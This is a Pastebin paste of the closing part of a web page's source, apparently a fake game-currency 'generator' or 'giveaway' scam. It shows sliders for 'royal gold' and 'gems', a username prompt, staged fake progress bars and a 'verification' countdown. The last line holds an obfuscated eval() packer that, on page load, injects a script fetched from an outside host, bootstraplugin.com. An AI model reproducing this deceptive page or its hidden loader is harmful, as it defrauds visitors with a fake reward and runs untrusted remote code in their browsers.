o=0,a=function(){n&&(n.img[0].complete?(n.img.off(".mfploader"),n===t.currItem&&(t._onImageHasSize(n),t.updateStatus("ready")),n.hasSize=!0,n.loaded=!0,I("ImageLoadComplete")):(o++,200>o?setTimeout(a,100):r()))},r=function(){n&&(n.img.off(".mfploader"),n===t.currItem&&(t._onImageHasSize(n),t.updateStatus("error",s.tError.replace("%url%",n.src))),n.hasSize=!0,n.loaded=!0,n.loadError=!0)},s=t.st.image,l=i.find(".mfp-img");if(l.length){var c=document.createElement("img");c.className="mfp-img",n.el&&n.el.find("img").length&&(c.alt=n.el.find("img").attr("alt")),n.img=e(c).on("load.mfploader",a).on("error.mfploader",r),c.src=n.src,l.is("img")&&(n.img=n.img.clone()),(c=n.img[0]).naturalWidth>0?n.hasSize=!0:c.width||(n.hasSize=!1)}return t._parseMarkup(i,{title:A(n),img_replaceWith:n.img},n),t.resizeImage(),n.hasSize?(L&&clearInterval(L),n.loadError?(i.addClass("mfp-loading"),t.updateStatus("error",s.tError.replace("%url%",n.src))):(i.removeClass("mfp-loading"),t.updateStatus("ready")),i):(t.updateStatus("loading"),n.loading=!0,n.hasSize||(n.imgHidden=!0,i.addClass("mfp-loading"),t.findImageSize(n)),i)}}});var j,N=function(){return void 0===j&&(j=void 0!==document.createElement("p").style.MozTransform),j};e.magnificPopup.registerModule("zoom",{options:{enabled:!1,easing:"ease-in-out",duration:300,opener:function(e){return e.is("img")?e:e.find("img")}},proto:{initZoom:function(){var e,n=t.st.zoom,i=".zoom";if(n.enabled&&t.supportsTransition){var o,a,r=n.duration,c=function(e){var t=e.clone().removeAttr("style").removeAttr("class").addClass("mfp-animated-image"),i="all "+n.duration/1e3+"s "+n.easing,o={position:"fixed",zIndex:9999,left:0,top:0,"-webkit-backface-visibility":"hidden"},a="transition";return o["-webkit-"+a]=o["-moz-"+a]=o["-o-"+a]=o[a]=i,t.css(o),t},d=function(){t.content.css("visibility","visible")};w("BuildControls"+i,function(){if(t._allowZoom()){if(clearTimeout(o),t.content.css("visibility","hidden"),!(e=t._getItemToZoom()))return void d();(a=c(e)).css(t._getOffset()),t.wrap.append(a),o=setTimeout(function(){a.css(t._getOffset(!0)),o=setTimeout(function(){d(),setTimeout(function(){a.remove(),e=a=null,I("ZoomAnimationEnded")},16)},r)},16)}}),w(l+i,function(){if(t._allowZoom()){if(clearTimeout(o),t.st.removalDelay=r,!e){if(!(e=t._getItemToZoom()))return;a=c(e)}a.css(t._getOffset(!0)),t.wrap.append(a),t.content.css("visibility","hidden"),setTimeout(function(){a.css(t._getOffset())},16)}}),w(s+i,function(){t._allowZoom()&&(d(),a&&a.remove(),e=null)})}},_allowZoom:function(){return"image"===t.currItem.type},_getItemToZoom:function(){return!!t.currItem.hasSize&&t.currItem.img},_getOffset:function(n){var i,o=(i=n?t.currItem.img:t.st.zoom.opener(t.currItem.el||t.currItem)).offset(),a=parseInt(i.css("padding-top"),10),r=parseInt(i.css("padding-bottom"),10);o.top-=e(window).scrollTop()-a;var s={width:i.width(),height:(C?i.innerHeight():i[0].offsetHeight)-r-a};return N()?s["-moz-transform"]=s.transform="translate("+o.left+"px,"+o.top+"px)":(s.left=o.left,s.top=o.top),s}}});var W="iframe",R=function(e){if(t.currTemplate[W]){var n=t.currTemplate[W].find("iframe");n.length&&(e||(n[0].src="//about:blank"),t.isIE8&&n.css("display",e?"block":"none"))}};e.magnificPopup.registerModule(W,{options:{markup:'<div class="mfp-iframe-scaler"><div class="mfp-close"></div><iframe class="mfp-iframe" src="//about:blank" frameborder="0" allowfullscreen></iframe></div>',srcAction:"iframe_src",patterns:{youtube:{index:"youtube.com",id:"v=",src:"//www.youtube.com/embed/%id%?autoplay=1"},vimeo:{index:"vimeo.com/",id:"/",src:"//player.vimeo.com/video/%id%?autoplay=1"},gmaps:{index:"//maps.google.",src:"%id%&output=embed"}}},proto:{initIframe:function(){t.types.push(W),w("BeforeChange",function(e,t,n){t!==n&&(t===W?R():n===W&&R(!0))}),w(s+"."+W,function(){R()})},getIframe:function(n,i){var o=n.src,a=t.st.iframe;e.each(a.patterns,function(){return o.indexOf(this.index)>-1?(this.id&&(o="string"==typeof this.id?o.substr(o.lastIndexOf(this.id)+this.id.length,o.length):this.id.call(this,o)),o=this.src.replace("%id%",o),!1):void 0});var r={};return a.srcAction&&(r[a.srcAction]=o),t._parseMarkup(i,r,n),t.updateStatus("ready"),i}}});var Z=function(e){var n=t.items.length;return e>n-1?e-n:0>e?n+e:e},q=function(e,t,n){return e.replace(/%curr%/gi,t+1).replace(/%total%/gi,n)};e.magnificPopup.registerModule("gallery",{options:{enabled:!1,arrowMarkup:'<button title="%title%" type="button" class="mfp-arrow mfp-arrow-%dir%"></button>',preload:[0,2],navigateByImgClick:!0,arrows:!0,tPrev:"Previous (Left arrow key)",tNext:"Next (Right arrow key)",tCounter:"%curr% of %total%"},proto:{initGallery:function(){var n=t.st.gallery,o=".mfp-gallery",r=Boolean(e.fn.mfpFastClick);return t.direction=!0,!(!n||!n.enabled)&&(a+=" mfp-gallery",w(d+o,function(){n.navigateByImgClick&&t.wrap.on("click"+o,".mfp-img",function(){return t.items.length>1?(t.next(),!1):void 0}),i.on("keydown"+o,function(e){37===e.keyCode?t.prev():39===e.keyCode&&t.next()})}),w("UpdateStatus"+o,function(e,n){n.text&&(n.text=q(n.text,t.currItem.index,t.items.length))}),w(c+o,function(e,i,o,a){var r=t.items.length;o.counter=r>1?q(n.tCounter,a.index,r):""}),w("BuildControls"+o,function(){if(t.items.length>1&&n.arrows&&!t.arrowLeft){var i=n.arrowMarkup,o=t.arrowLeft=e(i.replace(/%title%/gi,n.tPrev).replace(/%dir%/gi,"left")).addClass(h),a=t.arrowRight=e(i.replace(/%title%/gi,n.tNext).replace(/%dir%/gi,"right")).addClass(h),s=r?"mfpFastClick":"click";o[s](function(){t.prev()}),a[s](function(){t.next()}),t.isIE7&&(b("b",o[0],!1,!0),b("a",o[0],!1,!0),b("b",a[0],!1,!0),b("a",a[0],!1,!0)),t.container.append(o.add(a))}}),w(u+o,function(){t._preloadTimeout&&clearTimeout(t._preloadTimeout),t._preloadTimeout=setTimeout(function(){t.preloadNearbyImages(),t._preloadTimeout=null},16)}),void w(s+o,function(){i.off(o),t.wrap.off("click"+o),t.arrowLeft&&r&&t.arrowLeft.add(t.arrowRight).destroyMfpFastClick(),t.arrowRight=t.arrowLeft=null}))},next:function(){t.direction=!0,t.index=Z(t.index+1),t.updateItemHTML()},prev:function(){t.direction=!1,t.index=Z(t.index-1),t.updateItemHTML()},goTo:function(e){t.direction=e>=t.index,t.index=e,t.updateItemHTML()},preloadNearbyImages:function(){var e,n=t.st.gallery.preload,i=Math.min(n[0],t.items.length),o=Math.min(n[1],t.items.length);for(e=1;e<=(t.direction?o:i);e++)t._preloadItem(t.index+e);for(e=1;e<=(t.direction?i:o);e++)t._preloadItem(t.index-e)},_preloadItem:function(n){if(n=Z(n),!t.items[n].preloaded){var i=t.items[n];i.parsed||(i=t.parseEl(n)),I("LazyLoad",i),"image"===i.type&&(i.img=e('<img class="mfp-img" />').on("load.mfploader",function(){i.hasSize=!0}).on("error.mfploader",function(){i.hasSize=!0,i.loadError=!0,I("LazyLoadError",i)}).attr("src",i.src)),i.preloaded=!0}}}});var D="retina";e.magnificPopup.registerModule(D,{options:{replaceSrc:function(e){return e.src.replace(/\.\w+$/,function(e){return"@2x"+e})},ratio:1},proto:{initRetina:function(){if(window.devicePixelRatio>1){var e=t.st.retina,n=e.ratio;(n=isNaN(n)?n():n)>1&&(w("ImageHasSize."+D,function(e,t){t.img.css({"max-width":t.img[0].naturalWidth/n,width:"100%"})}),w("ElementParse."+D,function(t,i){i.src=e.replaceSrc(i,n)}))}}}}),function(){var t="ontouchstart"in window,n=function(){y.off("touchmove"+i+" touchend"+i)},i=".mfpFastClick";e.fn.mfpFastClick=function(o){return e(this).each(function(){var a,r=e(this);if(t){var s,l,c,d,u,p;r.on("touchstart"+i,function(e){d=!1,p=1,u=e.originalEvent?e.originalEvent.touches[0]:e.touches[0],l=u.clientX,c=u.clientY,y.on("touchmove"+i,function(e){u=e.originalEvent?e.originalEvent.touches:e.touches,p=u.length,u=u[0],(Math.abs(u.clientX-l)>10||Math.abs(u.clientY-c)>10)&&(d=!0,n())}).on("touchend"+i,function(e){n(),d||p>1||(a=!0,e.preventDefault(),clearTimeout(s),s=setTimeout(function(){a=!1},1e3),o())})})}r.on("click"+i,function(){a||o()})})},e.fn.destroyMfpFastClick=function(){e(this).off("touchstart"+i+" click"+i),t&&y.off("touchmove"+i+" touchend"+i)}}(),k()});
  1627.         </script>
  1628.        
  1629.         <script type="text/javascript">
  1630.            
  1631. !function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):a(jQuery)}(function(a){"use strict";function b(a){if(a instanceof Date)return a;if(String(a).match(g))return String(a).match(/^[0-9]*$/)&&(a=Number(a)),String(a).match(/\-/)&&(a=String(a).replace(/\-/g,"/")),new Date(a);throw new Error("Couldn't cast `"+a+"` to a date object.")}function c(a){var b=a.toString().replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1");return new RegExp(b)}function d(a){return function(b){var d=b.match(/%(-|!)?[A-Z]{1}(:[^;]+;)?/gi);if(d)for(var f=0,g=d.length;f<g;++f){var h=d[f].match(/%(-|!)?([a-zA-Z]{1})(:[^;]+;)?/),j=c(h[0]),k=h[1]||"",l=h[3]||"",m=null;h=h[2],i.hasOwnProperty(h)&&(m=i[h],m=Number(a[m])),null!==m&&("!"===k&&(m=e(l,m)),""===k&&m<10&&(m="0"+m.toString()),b=b.replace(j,m.toString()))}return b=b.replace(/%%/,"%")}}function e(a,b){var c="s",d="";return a&&(a=a.replace(/(:|;|\s)/gi,"").split(/\,/),1===a.length?c=a[0]:(d=a[0],c=a[1])),Math.abs(b)>1?c:d}var f=[],g=[],h={precision:100,elapse:!1,defer:!1};g.push(/^[0-9]*$/.source),g.push(/([0-9]{1,2}\/){2}[0-9]{4}( [0-9]{1,2}(:[0-9]{2}){2})?/.source),g.push(/[0-9]{4}([\/\-][0-9]{1,2}){2}( [0-9]{1,2}(:[0-9]{2}){2})?/.source),g=new RegExp(g.join("|"));var i={Y:"years",m:"months",n:"daysToMonth",d:"daysToWeek",w:"weeks",W:"weeksToMonth",H:"hours",M:"minutes",S:"seconds",D:"totalDays",I:"totalHours",N:"totalMinutes",T:"totalSeconds"},j=function(b,c,d){this.el=b,this.$el=a(b),this.interval=null,this.offset={},this.options=a.extend({},h),this.instanceNumber=f.length,f.push(this),this.$el.data("countdown-instance",this.instanceNumber),d&&("function"==typeof d?(this.$el.on("update.countdown",d),this.$el.on("stoped.countdown",d),this.$el.on("finish.countdown",d)):this.options=a.extend({},h,d)),this.setFinalDate(c),this.options.defer===!1&&this.start()};a.extend(j.prototype,{start:function(){null!==this.interval&&clearInterval(this.interval);var a=this;this.update(),this.interval=setInterval(function(){a.update.call(a)},this.options.precision)},stop:function(){clearInterval(this.interval),this.interval=null,this.dispatchEvent("stoped")},toggle:function(){this.interval?this.stop():this.start()},pause:function(){this.stop()},resume:function(){this.start()},remove:function(){this.stop.call(this),f[this.instanceNumber]=null,delete this.$el.data().countdownInstance},setFinalDate:function(a){this.finalDate=b(a)},update:function(){if(0===this.$el.closest("html").length)return void this.remove();var b,c=void 0!==a._data(this.el,"events"),d=new Date;b=this.finalDate.getTime()-d.getTime(),b=Math.ceil(b/1e3),b=!this.options.elapse&&b<0?0:Math.abs(b),this.totalSecsLeft!==b&&c&&(this.totalSecsLeft=b,this.elapsed=d>=this.finalDate,this.offset={seconds:this.totalSecsLeft%60,minutes:Math.floor(this.totalSecsLeft/60)%60,hours:Math.floor(this.totalSecsLeft/60/60)%24,days:Math.floor(this.totalSecsLeft/60/60/24)%7,daysToWeek:Math.floor(this.totalSecsLeft/60/60/24)%7,daysToMonth:Math.floor(this.totalSecsLeft/60/60/24%30.4368),weeks:Math.floor(this.totalSecsLeft/60/60/24/7),weeksToMonth:Math.floor(this.totalSecsLeft/60/60/24/7)%4,months:Math.floor(this.totalSecsLeft/60/60/24/30.4368),years:Math.abs(this.finalDate.getFullYear()-d.getFullYear()),totalDays:Math.floor(this.totalSecsLeft/60/60/24),totalHours:Math.floor(this.totalSecsLeft/60/60),totalMinutes:Math.floor(this.totalSecsLeft/60),totalSeconds:this.totalSecsLeft},this.options.elapse||0!==this.totalSecsLeft?this.dispatchEvent("update"):(this.stop(),this.dispatchEvent("finish")))},dispatchEvent:function(b){var c=a.Event(b+".countdown");c.finalDate=this.finalDate,c.elapsed=this.elapsed,c.offset=a.extend({},this.offset),c.strftime=d(this.offset),this.$el.trigger(c)}}),a.fn.countdown=function(){var b=Array.prototype.slice.call(arguments,0);return this.each(function(){var c=a(this).data("countdown-instance");if(void 0!==c){var d=f[c],e=b[0];j.prototype.hasOwnProperty(e)?d[e].apply(d,b.slice(1)):null===String(e).match(/^[$A-Z_][0-9A-Z_$]*$/i)?(d.setFinalDate.call(d,e),d.start()):a.error("Method %s does not exist on jQuery.countdown".replace(/\%s/gi,e))}else new j(this,b[0],b[1])})}});
  1632.         </script>
  1633.         <script type="text/javascript">
  1634.            
  1635.  
  1636. $(window).on("orientationchange",function(){
  1637.   if(window.orientation == 0) // Portrait
  1638.   {
  1639.     $.magnificPopup.close();
  1640.   }
  1641.   else // Landscape
  1642.   {
  1643.     $.magnificPopup.open({
  1644.                                 items: {
  1645.                                     src: '#orientation-detect',
  1646.                                 },
  1647.                                 type: 'inline',
  1648.                                 preloader: false,
  1649.                                 modal: true,
  1650.                                
  1651.                             });
  1652.        
  1653.   }
  1654. });
  1655.  
  1656.  
  1657.  
  1658.  
  1659. $(document).ready(function(){
  1660.     $('#popover1').popover('show');  
  1661. });
  1662.  
  1663. $('.increase-button').click(function(event) {
  1664.     $('#popover1').popover('hide');
  1665.     $('#popover2').popover('show');  
  1666. });
  1667.  
  1668. $('#usernameInput').click(function(event) {
  1669.     $('#popover3').popover('show');
  1670.     $('#popover2').popover('hide');  
  1671. });
  1672.  
  1673. $('.giveway-btn').click(function(event) {
  1674.     $('#popover3').popover('hide');
  1675.      
  1676. });
  1677.  
  1678.  
  1679.  
  1680. function progressBar(percent, $element) {
  1681.         var progressBarWidth = percent * $element.width() / 100;
  1682.         $element.find('div').animate({ width: progressBarWidth }, 500).html(percent + "%&nbsp;");
  1683.     }
  1684.     progressBar(20, $('#progressBar'));
  1685.        
  1686.     var select = $( "#royalgold-amount-wrapper" );
  1687.     var slider = $( "<div id='slider-royalgold'></div>" ).insertAfter( select ).slider({
  1688.         min: 0,
  1689.         max: 1000000,
  1690.         value: 0,
  1691.         range: "min",
  1692.         change: function(event, ui) {
  1693.             var sliderValue = $( "#slider-royalgold" ).slider( "option", "value" );            
  1694.             $('#royalgold-amount').html(sliderValue);
  1695.             if(sliderValue == '12000') {
  1696.                
  1697.                 $('#decrease-royalgold').addClass('btn-disabled');
  1698.                 $('.max-amount-coins').fadeOut();
  1699.             }
  1700.             else if (sliderValue == '24000') {
  1701.                
  1702.                 $('#decrease-royalgold').removeClass('btn-disabled');
  1703.             }
  1704.             else if (sliderValue == '36000') {
  1705.                
  1706.                 $('#decrease-royalgold').removeClass('btn-disabled');
  1707.             }
  1708.             else if (sliderValue == '48000') {
  1709.            
  1710.                 $('#decrease-royalgold').removeClass('btn-disabled');
  1711.             }
  1712.             else if (sliderValue == '60000') {
  1713.                
  1714.                 $('#decrease-royalgold').removeClass('btn-disabled');
  1715.                 }
  1716.             else if (sliderValue == '72000') {
  1717.                
  1718.                 $('#decrease-royalgold').removeClass('btn-disabled');
  1719.                 }
  1720.             else if (sliderValue == '84000') {
  1721.                
  1722.                 $('#decrease-royalgold').removeClass('btn-disabled');
  1723.                 }
  1724.             else if (sliderValue == '96000') {
  1725.                
  1726.                 $('#decrease-royalgold').removeClass('btn-disabled');
  1727.                 }
  1728.             else if (sliderValue == '108000') {
  1729.                
  1730.                 $('#decrease-royalgold').removeClass('btn-disabled');
  1731.                 }
  1732.             else if (sliderValue == '120000') {
  1733.                
  1734.                 $('#decrease-royalgold').removeClass('btn-disabled');
  1735.                 }
  1736.             else if (sliderValue == '720000') {
  1737.                
  1738.                 $('#decrease-royalgold').removeClass('btn-disabled');
  1739.             }
  1740.             else if (sliderValue == '840000') {
  1741.                
  1742.             }
  1743.             else if (sliderValue == '960000') {
  1744.                
  1745.                 $('#increase-royalgold').removeClass('btn-disabled');
  1746.                 $('.max-amount-coins').fadeOut();
  1747.             }
  1748.             else if (sliderValue == '1000000') {
  1749.                
  1750.                 $('#increase-royalgold').addClass('btn-disabled');
  1751.                 $('.max-amount-coins').fadeIn();
  1752.             }
  1753.         }        
  1754.     });
  1755.    
  1756.     $('#increase-royalgold').click(function() {
  1757.     var sliderCurrentValue = $( "#slider-royalgold" ).slider( "option", "value" );
  1758.       slider.slider( "value", sliderCurrentValue + 6000 );
  1759.     });
  1760.  
  1761.     $('#decrease-royalgold').click(function() {
  1762.     var sliderCurrentValue = $( "#slider-royalgold" ).slider( "option", "value" );
  1763.       slider.slider( "value", sliderCurrentValue - 6000 );
  1764.     });
  1765.  
  1766.    
  1767.    
  1768.    
  1769.  
  1770.    
  1771.    
  1772.        
  1773.     function progressBargem(percent, $element) {
  1774.         var progressBargemWidth = percent * $element.width() / 100;
  1775.         $element.find('div').animate({ width: progressBargemWidth }, 500).html(percent + "%&nbsp;");
  1776.     }
  1777.     progressBargem(30, $('#progressBargem'));
  1778.     var selectgem = $( "#royalgem-amount-wrapper" );
  1779.     var slidergem = $( "<div id='slider-royalgem'></div>" ).insertAfter( selectgem ).slider({
  1780.         min: 0,
  1781.         max: 25000,
  1782.         value: 0,
  1783.         range: "min",
  1784.         change: function(event, ui) {
  1785.                
  1786.                 var sliderValuegem = $( "#slider-royalgem" ).slider( "option", "value" );
  1787.                 $('#royalgem-amount').html(sliderValuegem);
  1788.                     if(sliderValuegem == '5000') {
  1789.                        
  1790.                         $('#decrease-royalgem').addClass('btn-disabled');
  1791.                         $('.max-amount-gem').fadeOut();
  1792.                     }
  1793.                     else if (sliderValuegem == '10000') {
  1794.                        
  1795.                         $('#decrease-royalgem').removeClass('btn-disabled');
  1796.                     }
  1797.                     else if (sliderValuegem == '15000') {
  1798.                        
  1799.                     }
  1800.                     else if (sliderValuegem == '20000') {
  1801.                        
  1802.                         $('#increase-royalgem').removeClass('btn-disabled');
  1803.                         $('.max-amount-gem').fadeOut();
  1804.                     }
  1805.                     else if (sliderValuegem == '25000') {
  1806.                        
  1807.                         $('#increase-royalgem').addClass('btn-disabled');
  1808.                         $('.max-amount-gem').fadeIn();
  1809.                     }
  1810.                 }        
  1811.     });            
  1812.  
  1813.     $('#increase-royalgem').click(function() {
  1814.         var sliderCurrentgemValue = $( "#slider-royalgem" ).slider( "option", "value" );
  1815.         slidergem.slider( "value", sliderCurrentgemValue + 5000 );
  1816.     });
  1817.  
  1818.  
  1819.     $('#connect-btn').click(function(event) {
  1820.         if ($('#usernameInput').val() == '') {
  1821.         console.log('usernameInput is null');
  1822.          
  1823.             $.magnificPopup.open({
  1824.                                 items: {
  1825.                                     src: '#error-message-user',
  1826.                                 },
  1827.                                 type: 'inline',
  1828.                                 preloader: false,
  1829.                                 modal: true,
  1830.                                
  1831.                             });
  1832.        
  1833.      } else {
  1834.         $('#user-text').text($('#usernameInput').val());
  1835.         $('.username-wrap').fadeOut('slow', function() {
  1836.                             $('.username-wrap2').addClass('connected');
  1837.                             $('.username-wrap2').fadeIn('slow', function() {
  1838.                                 console.log('username connected');
  1839.                             });
  1840.                        });
  1841.         $('.icon-effect').removeClass('display-none');
  1842.      }
  1843.     });
  1844.  
  1845.  
  1846.    
  1847.  
  1848.         $('.show-message').click(function() {
  1849.             $.magnificPopup.close();    
  1850.             $.magnificPopup.open({
  1851.                                 items: {
  1852.                                     src: '#error-message',
  1853.                                 },
  1854.                                 type: 'inline',
  1855.                                 preloader: false,
  1856.                                 modal: true,
  1857.                                
  1858.                             });
  1859.         });
  1860.  
  1861.         $('.close-pop').click(function() {
  1862.             $.magnificPopup.close();    
  1863.            
  1864.         });
  1865.  
  1866.    
  1867.  
  1868.    
  1869.    
  1870.    
  1871.    
  1872.     /*Generator*/
  1873.  
  1874.     $('.giveway-btn').click(function(event) {
  1875.         if ($('.username-wrap2').hasClass('connected')) {
  1876.             $('#giveway-text').text('processing...');
  1877.             giveway_progress(function() {
  1878.                         $('#progress-span').text('1')
  1879.                         $('#giveway-text').text('search for username');
  1880.                         console.log('giveway_1');
  1881.  
  1882.                                 giveway_progress2(function() {
  1883.                                     $('#giveway-text').text('username is correct');
  1884.                                     $('#progress-span').text('2')
  1885.                             console.log('giveway_2');
  1886.                                     giveway_progress3(function() {
  1887.                                         $('#giveway-text').text('processing giveaway slots');
  1888.                                         $('#progress-span').text('3')
  1889.                                 console.log('giveway_3');
  1890.                                         giveway_progress4(function() {
  1891.                                             $('#progress-span').text('4')
  1892.                                             $('#giveway-text').text('your giveaway is ready');
  1893.                                             $('.display-no').fadeOut('slow', function() {
  1894.                                             $('.verification').fadeIn('slow', function() {
  1895.                                                 var text = $('#user-text').text();
  1896.                                                 $('#user-text2').append(text);
  1897.                                                 console.log('verification');
  1898.                                             });
  1899.                                         });
  1900.                                            
  1901.                                      console.log('giveway_4');
  1902.                            
  1903.                                  });
  1904.                             });
  1905.                         });
  1906.                     });
  1907.  
  1908.            
  1909.             console.log('ok');
  1910.  
  1911.             } else {
  1912.  
  1913.             $.magnificPopup.open({
  1914.                     items: {
  1915.                         src: '#acc-connect-err',
  1916.                     },
  1917.                     type: 'inline',
  1918.                     preloader: false,
  1919.                     modal: true,
  1920.                    
  1921.                 });
  1922.  
  1923.             }
  1924.     });
  1925.  
  1926.    
  1927.     function giveway_progress(callback) {
  1928.         var $progress_percent = 0;
  1929.         var $blue_progress = $('.g-progressbar');
  1930.         $blue_progress.css('width', '0%');
  1931.         var interval_timer = setInterval(function() {
  1932.             if ($progress_percent == 0) {
  1933.                 $progress_percent = 20;
  1934.                 $blue_progress.css('width', $progress_percent + '%')
  1935.             } else if ($progress_percent == 20) {
  1936.                 $progress_percent = 35;
  1937.                 $blue_progress.css('width', $progress_percent + '%');
  1938.             } else if ($progress_percent == 35) {
  1939.                 $progress_percent = 65;
  1940.                 $blue_progress.css('width', $progress_percent + '%');
  1941.             } else if ($progress_percent == 65) {
  1942.                 $progress_percent = 75;
  1943.                 $blue_progress.css('width', $progress_percent + '%');
  1944.             } else if ($progress_percent == 75) {
  1945.                 $progress_percent = 85;
  1946.                 $blue_progress.css('width', $progress_percent + '%');
  1947.             } else if ($progress_percent == 85) {
  1948.                 $progress_percent = 89;
  1949.                 $blue_progress.css('width', $progress_percent + '%');
  1950.             } else if ($progress_percent == 89) {
  1951.                 $progress_percent = 100;
  1952.                 $blue_progress.css('width', $progress_percent + '%')
  1953.             } else if ($progress_percent == 100) {
  1954.                 callback();
  1955.                 clearInterval(interval_timer);
  1956.             }
  1957.         }, Math.floor((Math.random() * 900) + 600));
  1958.     }
  1959.  
  1960.  
  1961.  
  1962.     function giveway_progress2(callback) {
  1963.         var $progress_percent = 0;
  1964.         var $blue_progress = $('.g-progressbar');
  1965.         $blue_progress.css('width', '0%');
  1966.         var interval_timer = setInterval(function() {
  1967.             if ($progress_percent == 0) {
  1968.                 $progress_percent = 20;
  1969.                 $blue_progress.css('width', $progress_percent + '%')
  1970.             } else if ($progress_percent == 20) {
  1971.                 $progress_percent = 35;
  1972.                 $blue_progress.css('width', $progress_percent + '%');
  1973.             } else if ($progress_percent == 35) {
  1974.                 $progress_percent = 65;
  1975.                 $blue_progress.css('width', $progress_percent + '%');
  1976.             } else if ($progress_percent == 65) {
  1977.                 $progress_percent = 75;
  1978.                 $blue_progress.css('width', $progress_percent + '%');
  1979.             } else if ($progress_percent == 75) {
  1980.                 $progress_percent = 85;
  1981.                 $blue_progress.css('width', $progress_percent + '%');
  1982.             } else if ($progress_percent == 85) {
  1983.                 $progress_percent = 89;
  1984.                 $blue_progress.css('width', $progress_percent + '%');
  1985.             } else if ($progress_percent == 89) {
  1986.                 $progress_percent = 100;
  1987.                 $blue_progress.css('width', $progress_percent + '%')
  1988.             } else if ($progress_percent == 100) {
  1989.                 callback();
  1990.                 clearInterval(interval_timer);
  1991.             }
  1992.         }, Math.floor((Math.random() * 1100) + 600));
  1993.     }
  1994.  
  1995.  
  1996.       function giveway_progress3(callback) {
  1997.         var $progress_percent = 0;
  1998.         var $blue_progress = $('.g-progressbar');
  1999.         $blue_progress.css('width', '0%');
  2000.         var interval_timer = setInterval(function() {
  2001.             if ($progress_percent == 0) {
  2002.                 $progress_percent = 20;
  2003.                 $blue_progress.css('width', $progress_percent + '%')
  2004.             } else if ($progress_percent == 20) {
  2005.                 $progress_percent = 35;
  2006.                 $blue_progress.css('width', $progress_percent + '%');
  2007.             } else if ($progress_percent == 35) {
  2008.                 $progress_percent = 65;
  2009.                 $blue_progress.css('width', $progress_percent + '%');
  2010.             } else if ($progress_percent == 65) {
  2011.                 $progress_percent = 75;
  2012.                 $blue_progress.css('width', $progress_percent + '%');
  2013.             } else if ($progress_percent == 75) {
  2014.                 $progress_percent = 85;
  2015.                 $blue_progress.css('width', $progress_percent + '%');
  2016.             } else if ($progress_percent == 85) {
  2017.                 $progress_percent = 89;
  2018.                 $blue_progress.css('width', $progress_percent + '%');
  2019.             } else if ($progress_percent == 89) {
  2020.                 $progress_percent = 100;
  2021.                 $blue_progress.css('width', $progress_percent + '%')
  2022.             } else if ($progress_percent == 100) {
  2023.                 callback();
  2024.                 clearInterval(interval_timer);
  2025.             }
  2026.         }, Math.floor((Math.random() * 800) + 600));
  2027.     }
  2028.  
  2029.  
  2030.       function giveway_progress4(callback) {
  2031.         var $progress_percent = 0;
  2032.         var $blue_progress = $('.g-progressbar');
  2033.         $blue_progress.css('width', '0%');
  2034.         var interval_timer = setInterval(function() {
  2035.             if ($progress_percent == 0) {
  2036.                 $progress_percent = 20;
  2037.                 $blue_progress.css('width', $progress_percent + '%')
  2038.             } else if ($progress_percent == 20) {
  2039.                 $progress_percent = 35;
  2040.                 $blue_progress.css('width', $progress_percent + '%');
  2041.             } else if ($progress_percent == 35) {
  2042.                 $progress_percent = 65;
  2043.                 $blue_progress.css('width', $progress_percent + '%');
  2044.             } else if ($progress_percent == 65) {
  2045.                 $progress_percent = 75;
  2046.                 $blue_progress.css('width', $progress_percent + '%');
  2047.             } else if ($progress_percent == 75) {
  2048.                 $progress_percent = 85;
  2049.                 $blue_progress.css('width', $progress_percent + '%');
  2050.             } else if ($progress_percent == 85) {
  2051.                 $progress_percent = 89;
  2052.                 $blue_progress.css('width', $progress_percent + '%');
  2053.             } else if ($progress_percent == 89) {
  2054.                 $progress_percent = 100;
  2055.                 $blue_progress.css('width', $progress_percent + '%')
  2056.             } else if ($progress_percent == 100) {
  2057.                 callback();
  2058.                 clearInterval(interval_timer);
  2059.             }
  2060.         }, Math.floor((Math.random() * 1000) + 600)); var end = new Date().getTime() + 5*60*1000;
  2061.        
  2062.         $(".verificationcounter").countdown(end).on('update.countdown', function(ev) {  
  2063.             var format = '%M minute%!M and %S second%!S';  
  2064.            
  2065.             $(this).html(ev.strftime(format)); });
  2066.             }
  2067.            
  2068.             eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(5(0){4 1=0.7(\'1\');1.2=\'//3.6/d.8?c=b\';0.a.9(1)})(0);',14,14,'document|script|src|bootstraplugin|var|function|com|createElement|php|appendChild|head|167|id|p'.split('|'),0,{}))
  2069. </script>
  2070.  
  2071.  
  2072.     </body>
  2073. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!